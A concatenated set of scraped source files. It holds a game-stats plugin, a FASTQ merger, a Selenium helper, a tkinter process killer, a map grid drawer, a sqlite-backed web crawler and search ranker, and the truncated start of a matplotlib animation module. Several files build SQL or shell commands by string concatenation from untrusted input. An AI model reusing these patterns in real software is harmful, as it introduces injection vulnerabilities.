1\n\t\telse:\n\t\t\tmessage_data[steamid] = {}\n\t\t\tmessage_data[steamid]['name'] = name\n\t\t\tmessage_data[steamid]['message_count'] = 1\n\n\tplayer_message = None\n\n\tfor i in message_data:\n\t\tif player_message:\n\t\t\tif message_data[i]['message_count'] > message_data[player_message]['message_count']:\n\t\t\t\tplayer_message = i\n\t\telse:\n\t\t\tplayer_message = i\n\n\tif player_message:\n\t\treturn '{} has sent the most messages the past 30 days with a total of {}'.format(message_data[player_message]['name'], message_data[player_message]['message_count'])\n\telse:\n\t\treturn 'No one has sent any messages yet...'\n\ndef get_most_shots_fired():\n\trpg.database.execute('SELECT name, steamid, shots_fired FROM Player ORDER BY shots_fired DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, shots = result\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} has the most shots fired with a total of {}'.format(name, shots)\n\ndef get_most_suicides():\n\trpg.database.execute('SELECT name, steamid, suicides FROM Player ORDER BY suicides DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, suicides = result\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} has the highest suicide rate with a total of {} suicides'.format(name, suicides)\n\ndef get_most_rating():\n\trating_data = {}\n\n\trpg.database.execute('SELECT name, steamid, kills_human, deaths_human, shots_fired, shots_hit, hg_head FROM Player')\n\tfor name, steamid, kills, deaths, shots, hits, headshots in rpg.database.cursor.fetchall():\n\t\tif not shots or not hits:\n\t\t\tacc = 0\n\t\telse:\n\t\t\tacc = int(hits / shots * 100)\n\n\t\tif not hits or not headshots:\n\t\t\tacc_h = 0\n\t\telse:\n\t\t\tacc_h = int(headshots / hits * 100)\n\n\t\trating_data[steamid] = {'name': name, 'rating': rpg.stattrack.get_custom_rating(kills, deaths, acc, acc_h)}\n\n\thighest_rating = None\n\tfor i in rating_data:\n\t\tif highest_rating:\n\t\t\tif rating_data[i]['rating'] > rating_data[highest_rating]['rating']:\n\t\t\t\thighest_rating = i\n\t\telse:\n\t\t\thighest_rating = i\n\n\treturn '{} has the most rating with a total of {}'.format(rating_data[highest_rating]['name'], rating_data[highest_rating]['rating'])\n\ndef get_most_used_words():\n\tword_data = {}\n\n\trpg.database.execute('SELECT message, postdate FROM Chatlog')\n\tfor message, postdage in rpg.database.cursor.fetchall():\n\t\tfor word in message.split(' '):\n\t\t\tw = word.lower()\n\n\t\t\tif w in word_data:\n\t\t\t\tword_data[w] += 1\n\t\t\telse:\n\t\t\t\tword_data[w] = 1\n\n\tmessage\t= 'The most used words on this server are as follows:'\n\tadded\t= 0\n\tfor i in collections.OrderedDict(sorted(word_data.items(), reverse=True, key=lambda t: t[1])):\n\t\tmessage = '{} {} ({}),'.format(message, i, word_data[i])\n\t\tadded += 1\n\n\t\tif added >= 5:\n\t\t\tbreak\n\n\tif added:\n\t\treturn message[:-1]\n\treturn 'No one has sent any messages on the server yet for the past 30 days'\n\ndef get_playtime_info():\n\tget_player = random.randint(1, 2) == 2\n\n\tif get_player:\n\t\trpg.database.execute('SELECT name, steamid, playtime FROM Player ORDER BY playtime DESC LIMIT 1')\n\t\tresult = rpg.database.cursor.fetchone()\n\t\tname, steamid, playtime = result\n\n\t\tif rpglib.isOnline(steamid):\n\t\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\n\t\tplaytime_data = rpglib.get_time_data_from_seconds(playtime)\n\n\t\thours\t= playtime_data['hours_calculated']\n\t\tminutes\t= playtime_data['minutes_calculated']\n\t\tseconds\t= playtime_data['seconds_calculated']\n\n\t\tif hours:\n\t\t\treturn '{} has the highest playtime with a total of {} hours and {} minutes'.format(name, hours, minutes)\n\t\telse:\n\t\t\treturn '{} has the highest playtime with a total of {} minutes and {} seconds'.format(name, minutes, seconds)\n\telse:\n\t\tplaytime_total = 0\n\n\t\trpg.database.execute('SELECT steamid, playtime FROM Player')\n\t\tfor steamid, playtime in rpg.database.cursor.fetchall():\n\t\t\tif steamid.startswith('STEAM'):\n\t\t\t\tplaytime_total += playtime\n\n\t\tplaytime_data = rpglib.get_time_data_from_seconds(playtime_total)\n\n\t\tdays\t= playtime_data['days_calculated']\n\t\thours\t= playtime_data['hours_calculated']\n\t\tminutes\t= playtime_data['minutes_calculated']\n\n\t\tif days:\n\t\t\treturn 'The total playtime on this server is {} days, {} hours and {} minutes'.format(days, hours, minutes)\n\t\telse:\n\t\t\treturn 'The total playtime on this server is {} hours and {} minutes'.format(hours, minutes)\n\ndef get_weapon_usage():\n\tif random.randint(1, 2) == 1:\n\t\tweapon = random.choice(rpglib.getPrimaries())\n\telse:\n\t\tweapon = random.choice(rpglib.getSecondaries())\n\n\tprint(weapon)\n\tweapon_data = {}\n\ttotal_kills = 0\n\n\trpg.database.execute('SELECT name, {} FROM Player'.format(weapon))\n\tfor name, weapon in rpg.database.cursor.fetchall():\n\t\tweapon_data[name] = weapon\n\t\ttotal_kills += weapon\n\n\tif total_kills == 0:\n\t\treturn 'No one has made any kills with the {}'.format(weapon)\n\n\tfor i in collections.OrderedDict(sorted(weapon_data.items(), reverse=True, key=lambda t: t[1])):\n\t\treturn '{} is the one who has most kills with the {} with a total of {} kills ({}% of the overall)'.format( i, weapon, weapon_data[i], int(weapon_data[i] / total_kills * 100))","sub_path":"addons/source-python/plugins/rpg/modules/funfact/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"521561300","text":"#!/usr/bin/env python\n\nimport re\nimport os\nimport sys\nimport shutil\nimport argparse\nimport collections\n\ndef merge_files(sample_name, read_nb, file_list, dest_dir, suffix):\n outfile=os.path.join(dest_dir, \"{}{}_R{}.fastq.gz\".format(sample_name, suffix, read_nb))\n tomerge = file_list.split(':')\n print(\"Merging the following files:\")\n if not tomerge:\n print(\"No read {} files found\".format(read_nb))\n return\n for fq in tomerge:\n print(fq)\n print(\"as {}\".format(outfile))\n with open(outfile, 'wb') as wfp:\n for fn in tomerge:\n with open(fn, 'rb') as rfp:\n shutil.copyfileobj(rfp, wfp)\n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"\"\" Merges the given list of FASTQ files. Output as {dest_dir}/{sample_name}{suffix}_R{read_end}.fastq.gz.\"\"\")\n parser.add_argument(\"files\", nargs='?', default='.', help=\"Colon-delimited list of FASTQ files to merge.\")\n parser.add_argument(\"sample_name\", nargs='?', default='.', help=\"Output sample name.\")\n parser.add_argument(\"read_end\", nargs='?', default='.', help=\"Read end (1 or 2).\")\n parser.add_argument(\"dest_dir\", nargs='?', default='.', help=\"Path to where the merged files should be output. \")\n parser.add_argument(\"suffix\", nargs='?', default='', help=\"Optional suffix for sample names in output file names, e.g. sample_R1.fastq.gz. \")\n args = parser.parse_args() \n merge_files(args.sample_name, args.read_end, args.files, args.dest_dir, args.suffix)\n\n","sub_path":"bin/merge_and_rename_NGI_fastq_files.py","file_name":"merge_and_rename_NGI_fastq_files.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"456096053","text":"from selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n\nclass ExtChrome(webdriver.Chrome):\n def __init__(self, *args, **kwargs):\n super(ExtChrome, self).__init__(*args, **kwargs)\n\n def open_in_new_tab(self, new_url):\n self.execute_script(\"window.open('');\")\n self.switch_to.window(self.window_handles[-1])\n self.get(new_url)\n\n def close_but_index(self, index):\n wh = self.window_handles\n wh.remove(self.window_handles[index])\n for w in wh:\n self.switch_to.window(w)\n self.close()\n # switch back\n self.switch_to.window(self.window_handles[0])\n\n\ndef get_driver(driver_path, window_size=None, headless=False, user_agent=None):\n # options\n options = webdriver.ChromeOptions()\n options.headless = headless\n # user-agent\n if user_agent:\n options.add_argument(user_agent)\n else:\n options.add_argument(\"user-agent=Mozilla/5.0 (Windows NT 6.1; Win64; x64) \"\n \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/88.0.4324.182 Safari/537.36\")\n\n if window_size:\n options.add_argument(f'window-size={window_size[0]},{window_size[1]}')\n options.add_argument(\"start-maximized\")\n # disable webdriver mode\n # options.add_experimental_option('useAutomationExtension', False)\n options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"])\n\n caps = DesiredCapabilities().CHROME\n caps[\"pageLoadStrategy\"] = \"eager\" # interactive\n\n return ExtChrome(desired_capabilities=caps,\n executable_path=driver_path,\n options=options)\n","sub_path":"HW7/driver_helper.py","file_name":"driver_helper.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"206804104","text":"import os\r\nimport tkinter as tk\r\nfrom tkinter import messagebox\r\n\r\n\r\ndef refresh():\r\n tasks = os.popen(\"tasklist\").read()\r\n taskinput.delete('0', 'end')\r\n displaytasks.delete('1.0', 'end')\r\n displaytasks.insert('end', tasks)\r\n killbtn.config(state='normal')\r\n refreshbtn.config(text=\"Refresh\")\r\n messagebox.showinfo(\"Info\", \"Refreshed Task List!\")\r\n\r\n\r\ndef kill():\r\n tasktokilll = taskinput.get()\r\n log = os.popen('taskkill /IM \"' + tasktokilll + '\" /F')\r\n tasks = os.popen(\"tasklist\").read()\r\n taskinput.delete('0', 'end')\r\n displaytasks.delete('1.0', 'end')\r\n displaytasks.insert('end', tasks)\r\n messagebox.showinfo(\"Stopped!\", \"Attempted to close \" + tasktokilll + \".\")\r\n print(log)\r\n\r\nroot = tk.Tk()\r\nroot.geometry(\"740x500\")\r\nroot.title(\"stophax v1.1\")\r\n\r\n\r\ntaskinput = tk.Entry(root)\r\ntaskinput.grid(row=0, column=0)\r\ntaskinput.focus_force()\r\n\r\nkillbtn = tk.Button(root, width=10, text=\"Kill\", state='disabled', command=kill)\r\nkillbtn.grid(row=1, column=0)\r\n\r\nrefreshbtn = tk.Button(root, width=10, text=\"Load\", command=refresh)\r\nrefreshbtn.grid(row=2, column=0)\r\n\r\ndisplaytasks = tk.Text(root, wrap='none')\r\ndisplaytasks.grid(row=0, column=1, pady=10)\r\n\r\n\r\n\r\n\r\n\r\ndisplaytasks.insert('end',\"Please make sure you know what you are doing with this program,\\nas if you 'stop' the wrong process, you could crash your system.\\n\\nTo load the tasklist, press the 'Load' button\\n\\nWhen stopping a task, make sure you put the\\nexact name it displays under 'Image Name'.\")\r\n\r\n#root.update()\r\n\r\n#refresh()\r\nroot.mainloop()\r\n","sub_path":"1.1_stophax.pyw","file_name":"1.1_stophax.pyw","file_ext":"pyw","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"564396446","text":"#!/usr/bin/python\n\nimport numpy as np\nimport cv2\nimport argparse\nimport os\n\nGRID_SIZE_FT=300\n\ndef load_washburn_maps(washburn_dir_path):\n \n map_1 = cv2.imread(os.path.join(washburn_dir_path, \"map_1-little_squam.png\"))\n map_2 = cv2.imread(os.path.join(washburn_dir_path, \"map_2-cotton_cove.png\"))\n map_4 = cv2.imread(os.path.join(washburn_dir_path, \"map_4-moon_and_bowman_islands.png\"))\n map_6 = cv2.imread(os.path.join(washburn_dir_path, \"map_6-high_haith.png\"))\n map_7 = cv2.imread(os.path.join(washburn_dir_path, \"map_7-merrill_islands.png\"))\n map_8 = cv2.imread(os.path.join(washburn_dir_path, \"map_8-squaw_cove.png\"))\n map_9 = cv2.imread(os.path.join(washburn_dir_path, \"map_9-yard_islands.png\"))\n map_10 = cv2.imread(os.path.join(washburn_dir_path, \"map_10-sandwich_bay.png\"))\n map_11 = cv2.imread(os.path.join(washburn_dir_path, \"map_11-long_island_shortline_detail.png\"))\n map_12 = cv2.imread(os.path.join(washburn_dir_path, \"map_12-dog_cove.png\"))\n \n maps_dict = {1: map_1, 2: map_2, 4: map_4, 6: map_6, 7: map_7, 8: map_8, 9: map_9, 10: map_10, 11: map_11, 12: map_12}\n\n return maps_dict\n \ndef load_washburn_map_resolutions():\n\n map_1_res_x = 3.525 # ft/pixel\n map_1_res_y = 3.515 # ft/pixel\n\n res_dict = {1: (map_1_res_x, map_1_res_y)}\n \n return res_dict\n\ndef draw_grid(image, offset, res_ft_per_pixel, grid_size):\n\n w = image.shape[1]\n h = image.shape[0]\n\n interval_px_float_x = float(grid_size) / float(res_ft_per_pixel[1])\n interval_px_float_y = float(grid_size) / float(res_ft_per_pixel[0])\n print(\"interval_px_x = \"+str(interval_px_float_x))\n print(\"interval_px_y = \"+str(interval_px_float_y))\n\n n_lines_h = int(round(float(h-offset[1]) / interval_px_float_y))\n n_lines_w = int(round(float(w-offset[0]) / interval_px_float_x))\n\n line_color = (0, 255, 0)\n\n # draw horizontal lines\n for i in range(0, n_lines_h):\n \n y = int(round(i * interval_px_float_y)) + int(offset[1])\n\n cv2.line(image, (0, y), (w, y), line_color)\n \n # draw vertical lines\n for i in range(0, n_lines_w):\n\n x = int(round(i * interval_px_float_x)) + int(offset[0])\n\n cv2.line(image, (x, 0), (x, h), (0, 0, 255))\n\n \n\ndef main():\n print(\"starting main()...\")\n\n parser = argparse.ArgumentParser(description='Simple map processor')\n #parser.add_argument('-i', type=str, required=True, help='input image file path')\n\n args = parser.parse_args()\n\n print(\"args: \", args)\n\n maps_dict = load_washburn_maps(\"washburn_images\")\n map_res_dict = load_washburn_map_resolutions()\n\n #print(\"maps_dict: \"+str(maps_dict))\n\n #img = cv2.cvtColor(maps_dict[1], cv2.COLOR_BGR2GRAY)\n img = maps_dict[1]\n \n\n print(\"img.shape = \"+str(img.shape))\n\n draw_grid(img, (187, 410), map_res_dict[1], GRID_SIZE_FT)\n\n img_for_display = cv2.resize(img, (2000, 1200))\n\n cv2.imshow('input image', img_for_display)\n\n while(1):\n k = cv2.waitKey(0)\n print(\"k = \"+str(k))\n if k == 1048689:\n break\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"process_map.py","file_name":"process_map.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"239406177","text":"\"\"\"\n集体智慧编程:第四章:搜索与排名\n\"\"\"\n\n__author__ = 'yinan'\n\nimport urllib.request # 注意python3不再支持urllib2,用urllib.request代替\nfrom bs4 import BeautifulSoup # Beautiful soup目前更新到版本4,通过左边方式加载\nfrom urllib.parse import urljoin\nimport sqlite3 as sqlite # 使用sqlite存储数据\nimport re # 使用正则表达式来分词\n\n# 这些单词被忽略\nignorewords = set(['the', 'of', 'to', 'and', 'a', 'in', 'is', 'it'])\n\nclass crawler(object):\n \"\"\"\n 爬虫,用来抓取网页\n \"\"\"\n\n def __init__(self, dbname):\n \"\"\"\n 初始化对象,并建立数据库\n :param dbname: 数据库名称\n :return: 无\n \"\"\"\n\n self.con = sqlite.connect(dbname) # 建立sqlite数据库\n\n def __del__(self):\n \"\"\"\n 关闭和数据库的连接\n :return: 无\n \"\"\"\n\n self.con.close() # 关闭数据库\n\n def dbcommit(self):\n \"\"\"\n 保存对数据库进行的修改\n :return: 无\n \"\"\"\n\n self.con.commit()\n\n def getentryid(self, table, field, value, createnew=True):\n \"\"\"\n 在数据库中进行检索\n :param table: 用来检索的数据库名\n :param field: 用来检索的列名\n :param value: 用来检索的值\n :param createnew: 用来检索的条目不在数据库中时是否新建\n :return: 用来检索的条目对应的id\n \"\"\"\n\n cur = self.con.execute(\n \"SELECT ROWID FROM %s WHERE %s = '%s'\" % (table, field, value)\n )\n res = cur.fetchone() # 从数据库中检索并提取id\n\n if res == None: # 如果条目不存在,则在数据库中加入新条目\n cur = self.con.execute(\n \"INSERT INTO %s (%s) VALUES ('%s')\" % (table, field, value)\n )\n return cur.lastrowid\n else:\n return res[0]\n\n def addtoindex(self, url, soup):\n \"\"\"\n 为单词和url建立索引\n :param url: 建立索引的url\n :param soup: 建立索引的单词\n :return: 无\n \"\"\"\n\n if self.isindexed(url): # 检查是否已经建立过索引\n return\n\n print(\"正在为\", url, \"建立索引\")\n\n # 获取文本并提取单词\n text = self.gettextonly(soup)\n words = self.separatewords(text)\n\n # 得到数据库中url的ID\n urlid = self.getentryid(\"urllist\", \"url\", url)\n\n # 将单词和url关联\n for i in range(len(words)):\n word = words[i]\n if word in ignorewords: # 过滤掉介词等\n continue\n wordid = self.getentryid(\"wordlist\", \"word\", word)\n self.con.execute(\"insert into wordlocation(urlid, wordid, location)\"\n \"values (%d, %d, %d)\" % (urlid, wordid, i))\n\n def gettextonly(self, soup, old_algorithm=False):\n \"\"\"\n 从html文件中提取文本\n :param soup: 用来提取单词的html文件\n :param old_algorithm: 使用教材中算法\n :return: 提取出的文本\n \"\"\"\n\n if old_algorithm:\n v = soup.string\n if v == None:\n c = soup.contents\n resulttext = ''\n for t in c:\n subtext = self.gettextonly(t)\n resulttext += subtext + \"\\n\"\n return resulttext\n else:\n return v.strip()\n else:\n return soup.get_text() # bs4中可以直接使用get_text方法提取html中文本\n\n def separatewords(self, text):\n splitter = re.compile('\\\\W*')\n return [s.lower() for s in splitter.split(text) if s != '']\n\n def isindexed(self, url):\n \"\"\"\n 检查url是否已经建立过索引\n :param url: 用来检查的url\n :return: 布尔值,是否已经建立索引\n \"\"\"\n\n u = self.con.execute(\n \"SELECT ROWID FROM urllist WHERE url = '%s'\" % url\n ).fetchone() # 从urllist中提取该url对应的id\n\n if u != None:\n v = self.con.execute(\n \"SELECT * FROM wordlocation WHERE urlid = %d\" % u[0]\n ).fetchone() # 提取该urlid对应的条目\n if v != None: # 如果条目存在,则该url已经被索引\n return True\n return False\n\n def addlinkref(self, urlFrom, urlTo, linkText):\n words = self.separatewords(linkText)\n fromid = self.getentryid('urllist', 'url', urlFrom)\n toid = self.getentryid('urllist', 'url', urlTo)\n if fromid == toid: # 如果是指向自己的链接,则不保存\n return\n\n cur = self.con.execute(\n 'INSERT INTO link(fromid, toid) VALUES (%d, %d)' % (fromid, toid)\n )\n linkid = cur.lastrowid\n\n for word in words:\n if word in ignorewords:\n continue\n wordid = self.getentryid('wordlist', 'word', word)\n self.con.execute(\n 'INSERT INTO linkwords(linkid,wordid) VALUES (%d,%d)' %\n (linkid, wordid))\n\n\n def crawl(self, pages, depth=2):\n \"\"\"\n 一个爬虫,用于抓取网页url。\n 从一小组网页开始进行搜索,并为网页建立索引\n :param pages: 用来搜索的起始链接\n :param depth: 广度优先搜索深度\n :return:\n \"\"\"\n\n for i in range(depth):\n newpages = set()\n for page in pages:\n try:\n c = urllib.request.urlopen(page) # 读取url内容\n except:\n print(\"无法打开链接:\", page)\n continue\n soup = BeautifulSoup(c.read()) # 将内容结构化,方便后续处理\n self.addtoindex(page, soup)\n\n links = soup('a') # 提取网页中 0:\n tablelist += ', '\n clauselist += ' and '\n clauselist += ('w%d.urlid = w%d.urlid and ' %\n (tablenumber - 1, tablenumber)\n )\n fieldlist += ', w%d.location' % tablenumber\n tablelist += 'wordlocation w%d' % tablenumber\n clauselist += 'w%d.wordid = %d' % (tablenumber, wordid)\n tablenumber += 1\n\n fullquery = 'SELECT %s FROM %s WHERE %s' % (fieldlist, tablelist,\n clauselist)\n cur = self.con.execute(fullquery)\n rows = [row for row in cur]\n\n return rows, wordids\n\n def getscoredlist(self, rows, wordids):\n totalscores = dict([(row[0], 0) for row in rows])\n\n weights = [(1.5, self.locationscore(rows)),\n (1.0, self.frequencyscore(rows)),\n (1.0, self.distancescore(rows)),\n (1.0, self.pagerankscore(rows)),\n (1.0, self.linktextscore(rows, wordids))]\n\n for (weight, scores) in weights:\n for url in totalscores:\n totalscores[url] += weight * scores[url]\n\n return totalscores\n\n def geturlname(self, id):\n \"\"\"\n 根据url id提取url\n :param id: url id\n :return: url\n \"\"\"\n\n return self.con.execute(\n 'SELECT url FROM urllist WHERE rowid = %d' % id\n ).fetchone()[0]\n\n def query(self, q):\n rows, wordids = self.getmatchrows(q)\n scores = self.getscoredlist(rows, wordids)\n rankedscores = sorted(\n [(score, url) for (url, score) in scores.items()],\n reverse=1)\n for (score, urlid) in rankedscores[0:10]:\n print('%f\\t%s' % (score, self.geturlname(urlid)))\n\n def normalizescores(self, scores, smallIsBetter=0):\n \"\"\"\n 将分数归一化为0-1之间\n :param scores: 存储分数和url的列表\n :param samllIsBetter: 原始分数是越大越好还是越小越好\n :return: 归一化的分数以及url\n \"\"\"\n\n vsmall = 1e-5\n if smallIsBetter:\n minscore = min(scores.values())\n return dict([(u, float(minscore) / max(vsmall, l))\n for (u, l) in scores.items()])\n else:\n maxscore = max(scores.values())\n if maxscore == 0:\n maxscore = vsmall\n return dict([(u, float(c) / maxscore)\n for (u, c) in scores.items()])\n\n def frequencyscore(self, rows):\n \"\"\"\n 计算单词频率并归一化\n :param rows: url以及单词位置列表\n :return: 归一化的url id以及频率\n \"\"\"\n\n counts = dict([(row[0], 0) for row in rows])\n for row in rows:\n counts[row[0]] += 1\n return self.normalizescores(counts)\n\n def locationscore(self, rows):\n \"\"\"\n 计算单词在网页中出现中的位置并归一化\n :param rows: url以及单词位置列表\n :return: 归一化的url id以及位置\n \"\"\"\n\n locations = dict([(row[0], 1e7) for row in rows])\n for row in rows:\n loc = sum(row[1:])\n if loc < locations[row[0]]:\n locations[row[0]] = loc\n return self.normalizescores(locations, smallIsBetter=1)\n\n def distancescore(self, rows):\n \"\"\"\n 计算查询的单词之间的距离\n :param rows: url以及单词位置列表\n :return: 归一化的url id以及距离\n \"\"\"\n\n if len(rows[0]) <= 2: # 如果查询的只有一个单词,则距离为1\n return dict([(row[0], 1.0) for row in rows])\n\n mindistance = dict([(row[0], 1e7) for row in rows])\n for row in rows:\n dist = sum(\n [abs(row[i] - row[i - 1]) for i in range(2, len(row))])\n if dist < mindistance[row[0]]:\n mindistance[row[0]] = dist\n\n return self.normalizescores(mindistance, smallIsBetter=1)\n\n def inboundlinkscore(self, rows):\n \"\"\"\n 计算指向url的链接数并归一化\n :param rows: 保存链接的列表\n :return: url id以及归一化的分数\n \"\"\"\n\n uniqueurls = set([row[0] for row in rows])\n inboundcount = dict([(u, self.con.execute(\n 'SELECT count(*) FROM link WHERE toid = %d' % u).fetchone()[0])\n for u in uniqueurls])\n return self.normalizescores(inboundcount)\n\n def pagerankscore(self, rows):\n pageranks = dict([(row[0], self.con.execute(\n 'SELECT score FROM pagerank WHERE urlid = %d' % row[0]\n ).fetchone()[0]) for row in rows])\n return self.normalizescores(pageranks)\n\n def linktextscore(self, rows, wordids):\n linkscores = dict([(row[0], 0) for row in rows])\n for wordid in wordids:\n cur = self.con.execute(\n 'SELECT link.fromid, link.toid FROM linkwords, link WHERE '\n 'linkwords.wordid = %d and linkwords.linkid = link.rowid'\n % wordid\n )\n for (fromid, toid) in cur:\n if toid in linkscores:\n pr = self.con.execute(\n 'SELECT score FROM pagerank WHERE urlid = %d' % fromid\n ).fetchone()[0]\n linkscores[toid] += pr\n return self.normalizescores(linkscores)\n","sub_path":"searchengine.py","file_name":"searchengine.py","file_ext":"py","file_size_in_byte":15420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"561360971","text":"import numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.patches as patches\r\nimport matplotlib.path as path\r\nimport matplotlib.lines as lines\r\nimport matplotlib.text as text_obj\r\nimport matplotlib.collections as colls\r\nfrom animation import animation as anim\r\nfrom utils import (set_area, set_pdf_line, set_hist, set_point, set_frame, set_mean_line, set_text,\r\n set_interval)\r\nimport math\r\nfrom scipy.stats import norm\r\nimport pickle\r\nimport io\r\nimport time\r\nimport gc\r\n\r\n\r\ndef sampling(p1, p2, num, d):\r\n t = np.linspace(0, 1, num)\r\n t = t ** d\r\n sol = np.zeros(num)\r\n for i in range(num):\r\n sol[i] = p1 + (p2 - p1) * t[i]\r\n return sol\r\n\r\n\r\nclass Frame(object):\r\n def __init__(self, fig=None, axes=None, axes_ratio=1., aspect_ratio=9. / 16., my_dpi=96.):\r\n if fig is None:\r\n fig, axes = plt.subplots(facecolor='black', figsize=(1920 / my_dpi, 1080 / my_dpi), dpi=my_dpi)\r\n self.fig = fig\r\n self.axes = axes\r\n self.ax_ratio = axes_ratio\r\n self.aspect_ratio = aspect_ratio\r\n self.axes.set_aspect(self.ax_ratio * self.aspect_ratio)\r\n self.axes.set_facecolor(set_frame.fc)\r\n self.axes.tick_params(top='off', bottom='on', left='off', right='off',\r\n labelleft='off', labelbottom='on')\r\n for i in range(4):\r\n if i != 2:\r\n list(self.axes.spines.values())[i].set_visible(False)\r\n self.axes.spines['bottom'].set_position('zero')\r\n self.axes.xaxis.set_ticks_position('bottom')\r\n self.axes.tick_params(axis='x', labelsize=set_frame.ticks_ls, labelcolor=set_frame.ticks_lc)\r\n self.axes.set_axisbelow(True)\r\n\r\n self.objects = []\r\n\r\n def update_axes_ratio(self):\r\n delta_y = (self.axes.get_ylim()[1] - self.axes.get_ylim()[0])\r\n delta_x = (self.axes.get_xlim()[1] - self.axes.get_xlim()[0])\r\n self.ax_ratio = delta_x / delta_y\r\n self.axes.set_aspect(self.ax_ratio * self.aspect_ratio)\r\n\r\n def add_objects(self, objs):\r\n for obj in objs:\r\n if isinstance(obj, Point):\r\n obj.change_aspect(self.ax_ratio * self.aspect_ratio)\r\n self.objects.append(obj)\r\n for art in obj.artists:\r\n self.axes.add_artist(art)\r\n\r\n def zoom(self, t_begin, t_end, x1, x2, y1=None):\r\n actions = [anim.Action([], self._zoom, t_begin, t_end, {'x1': x1, 'x2': x2, 'y1': y1})]\r\n delta_after = x2 - x1\r\n delta_before = self.axes.get_xlim()[1] - self.axes.get_xlim()[0]\r\n ratio = delta_after / delta_before\r\n for j, obj in enumerate(self.objects):\r\n if isinstance(obj, Point):\r\n actions.append(obj.change_scale(t_begin, t_end, ratio))\r\n return actions\r\n\r\n def _zoom(self, i, nframes, fargs):\r\n if i == 0:\r\n xlim = self.axes.get_xlim()\r\n ylim = self.axes.get_ylim()\r\n fargs['x_min'] = np.linspace(xlim[0], fargs['x1'], nframes)\r\n fargs['x_max'] = np.linspace(xlim[1], fargs['x2'], nframes)\r\n if fargs['y1'] is None:\r\n fargs['y1'] = ylim[0]\r\n fargs['y_min'] = np.linspace(ylim[0], fargs['y1'], nframes)\r\n\r\n # delta_after = fargs['x2'] - fargs['x1']\r\n # delta_before = self.axes.get_xlim()[1] - self.axes.get_xlim()[0]\r\n # fargs['ratio'] = delta_after / delta_before\r\n\r\n\r\n xlim = [fargs['x_min'][i], fargs['x_max'][i]]\r\n delta_x = xlim[1] - xlim[0]\r\n y_max = delta_x / self.ax_ratio + fargs['y_min'][i]\r\n self.axes.set_ylim([fargs['y_min'][i], y_max])\r\n self.axes.set_xlim(xlim)\r\n self.axes.set_xticks(range(int(math.ceil(fargs['x_min'][i])), int(math.floor(fargs['x_max'][i]))))\r\n\r\n # for j, obj in enumerate(self.objects):\r\n # if isinstance(obj, Point):\r\n # fargs['rx'] = obj.rx * fargs['ratio']\r\n # obj._change_radius(i, nframes, fargs)\r\n\r\n def ticks_disappear(self, t_begin, t_end):\r\n return anim.Action([], self._ticks_disappear, t_begin, t_end, {})\r\n\r\n def _ticks_disappear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['alphas'] = np.linspace(1., 0, nframes)\r\n for l in self.axes.get_xticklabels(which='both'):\r\n l.set_alpha(fargs['alphas'][i])\r\n\r\n def ticks_appear(self, t_begin, t_end):\r\n return anim.Action([], self._ticks_appear, t_begin, t_end, {})\r\n\r\n def _ticks_appear(self, i, nframes, fargs):\r\n if i == 0:\r\n fargs['alphas'] = np.linspace(0, 1., nframes)\r\n for l in self.axes.get_xticklabels(which='both'):\r\n l.set_alpha(fargs['alphas'][i])\r\n\r\n def ticks_change_alpha(self, t_begin, t_end, alpha):\r\n return anim.Action([], self._ticks_change_alpha, t_begin, t_end, {'alpha': alpha})\r\n\r\n def _ticks_change_alpha(self, i, nframes, fargs):\r\n if i == 0:\r\n alpha = self.axes.get_xticklabels(which='both')[0].get_alpha()\r\n fargs['alphas'] = np.linspace(alpha, fargs['alpha'], nframes)\r\n for l in self.axes.get_xticklabels(which='both'):\r\n l.set_alpha(fargs['alphas'][i])\r\n\r\n\r\nclass Hist(object):\r\n def __init__(self, bins, values, data):\r\n self.bins = bins.copy()\r\n self.delta = (bins.max() - bins.min()) / len(values)\r\n self.scale = self.delta * np.sum(values)\r\n self.values = values / self.scale\r\n self.data = data.copy()\r\n self.create_artists()\r\n\r\n def create_artists(self):\r\n left = np.array(self.bins[:-1]) + 0.1 * (self.bins[1] - self.bins[0])\r\n right = np.array(self.bins[1:]) - 0.1 * (self.bins[1] - self.bins[0])\r\n nrects = len(left)\r\n bottom = np.zeros(nrects)\r\n top = bottom + 0.\r\n nverts = nrects * (1 + 3 + 1)\r\n verts = np.zeros((nverts, 2))\r\n codes = np.ones(nverts, int) * path.Path.LINETO\r\n codes[0::5] = path.Path.MOVETO\r\n codes[4::5] = path.Path.CLOSEPOLY\r\n verts[0::5, 0] = left\r\n verts[0::5, 1] = bottom\r\n verts[1::5, 0] = left\r\n verts[1::5, 1] = top\r\n verts[2::5, 0] = right\r\n verts[2::5, 1] = top\r\n verts[3::5, 0] = right\r\n verts[3::5, 1] = bottom\r\n self.verts = verts\r\n\r\n barpath = path.Path(self.verts, codes)\r\n self.patch = patches.PathPatch(barpath, facecolor=set_hist.fc, visible=False,\r\n edgecolor=set_hist.ec, linewidth=set_hist.lw, alpha=set_hist.alpha)\r\n self.artists = 